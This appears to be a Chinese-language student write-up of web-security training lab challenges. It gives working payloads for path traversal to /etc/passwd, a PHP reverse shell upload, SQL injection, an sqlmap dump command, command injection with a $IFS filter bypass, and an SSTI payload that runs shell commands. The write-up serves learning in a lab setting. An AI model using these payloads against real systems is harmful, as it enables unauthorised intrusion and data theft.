# TAIWAN HolyYoung Training-網頁安全
身為一個資安小萌新,來上這堂課也是很正常的吧。(哭爛)
## IDOR Challenge
[Link](http://lab.slasho.tw:8002/)
在footer有管理員入口


用burp 試試看

看來admin也不行,但她寫**非本地訪問**
所以加一句
```bash!
X-Forwarded-For: localhost
```

成功

> flag{idor}
## Path Traversal
[link](http://lab.slasho.tw:8003/)
裡面有很多喵咪
照片的link是:

看到可以做注入的地方了
```bash!
http://lab.slasho.tw:8003/load.php?file=../../../.../../../etc/passwd
```

拿到根目錄了
用
```bash!
http://lab.slasho.tw:8003/load.php?file=../../../.../../../flag
```
拿flag

> flag{path_traversal}
## Information Leakage
[link](http://lab.slasho.tw:8004/)
點進來網站裡啥都沒有 看來先dirb

看來她有git
那就上[工具](https://github.com/WangYihang/GitHacker)
```bash!
githacker --url http://lab.slasho.tw:8004/.git --output-folder result
```
跑完之後拿到檔案

其中main.py裡面:

有寫/my_secret_flag_page這個分頁
而secret.json中有帳號密碼

拿去登入之後

> flag{information_leakage}
## Local File Inclusion 1
[link](http://lab.slasho.tw:8005/)

發現照片的檔案路徑

那就拜訪一下index.php

好像有secret.json

用帳密登入之後

> flag{lfi_1}
## Local File Inclusion 2
[link](http://lab.slasho.tw:8006/)
他可以上傳檔案了 這不就是大哥教的reverse shell嗎

到這個[網站](https://www.revshells.com/)
用自己的ip生一個php

上傳檔案,在新分頁開啟圖檔

就可以下cmd

ls裡面超亂的笑死

`pwd`現在的位置`/var/www/html/upload`
`ls /` 看根目錄

```bash!
cat /flag
```

> flag{lfi_2}
## Cross-Site Scripting
[link](http://lab.slasho.tw:8007/)
題目要我們用XSS叫出encodedFlag
```bash!
<script>alert(encodeFlag)</script>
```

> flag{xss}
## SQL Injection 1
[link](http://lab.slasho.tw:8008/)
抱歉我無腦
```bash!
' or '1 = 1
```
但他的source code是這樣
```html!
<div class="hint" id="hint">
SELECT * FROM user WHERE username='<span class="highlight" id="username-hint"></span>' AND password='<span class="highlight" id="password-hint"></span>'
</div>
```
>flag{sql_injection1}
## SQL Injection 2
[link](http://lab.slasho.tw:8008/)
這題就比較麻煩,但昨天跟大哥學了sqlmap
之後感覺可以出一篇sqlmap詳細教學
或是取找sql Injection練功房之類的XD
```bash!
sqlmap -u http://lab.slasho.tw:8008/ --forms --dump --dbs --flush-session --level=5 --risk=3 --batch
```

> flag{sql_injection2}
## Command Injection 1
[link](http://lab.slasho.tw:8009/)
這題就是要輸入command

```bash!
https://example.com ; cat flag
```

> flag{command_injection_1}
## Command Injection 2
[link](http://lab.slasho.tw:8010/)
用跟上面一樣的指令會出現banlist
```bash!
you hacker !!! dont put these inside: [' ', '&', ';', '@', '%', '^', '~', '`', '<', '>', ',', 'ls', 'cat', 'less', 'tail', 'more', 'whoami', 'pwd', 'echo']
```
看了一下 截斷指令應該要用 `|`、`/`、`\`
然後可能可以用`head`、`rev`、`nl`之類的
但麻煩的是他ban空格...
AI要我用`$IFS`環境變數代替空格:
```bash!
https://example.com|head${IFS}flag
```

又學到了一招
> flag{command_injection_2}
## Server-Side Template Injection
[link](http://lab.slasho.tw:8011/)
這題就是SSTI
但我一直很不擅長
感覺也是要寫一篇文來逼自己練習

||她的網頁好漂亮 我的Blog也想長這樣||
官方解
[參考網站](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection)
```bash!
`{{ cycler.__init__.__globals__.os.popen('cat /flag').read() }}`
```
> flag{ssti}
## Disable JavaScript
[link](http://lab.slasho.tw:8001/form)
個人覺得這題蠻邪門的
網站是一個按鈕

按下去會被攔截
然後他在console噴flag不知道甚麼意思😍😍

但正解是在F12設定這裡

右邊最下面把這個開起來

這樣再去按按鈕就會跳flag了

> flag{disable_javascript}
## Header 1
[link](http://lab.slasho.tw:8001/)
好不習慣header的題目不是叫你改method是只要你看Header
在F12 -> Network 這邊refresh網頁

就會看到了

> flag{header}
## Header 2
[link](http://lab.slasho.tw:8001/)
呈上題有看到一個flag.json

> flag{dev_tools_network}
## Burp Suite
[link](http://lab.slasho.tw:8001/shop)
我給這題100分,我一直在找這種好教新手的題目

就是要你交出1000000以上

開Burp -> Proxy -> Open Browser

進入頁面之後Burp開Intercept on

之後網頁按送出
在Burp把被攔截的請求中的數字改成我們要的

Forward

> flag{burp_suite}
## Kali Linux
[link](http://lab.slasho.tw:8001/)
這題超怪 但說要kali就dirb一下
```bash!
dirb http://lab.slasho.tw:8001/
```

然後curl
```bash!
curl http://lab.slasho.tw:8001/abc
```

> flag{kali_linux}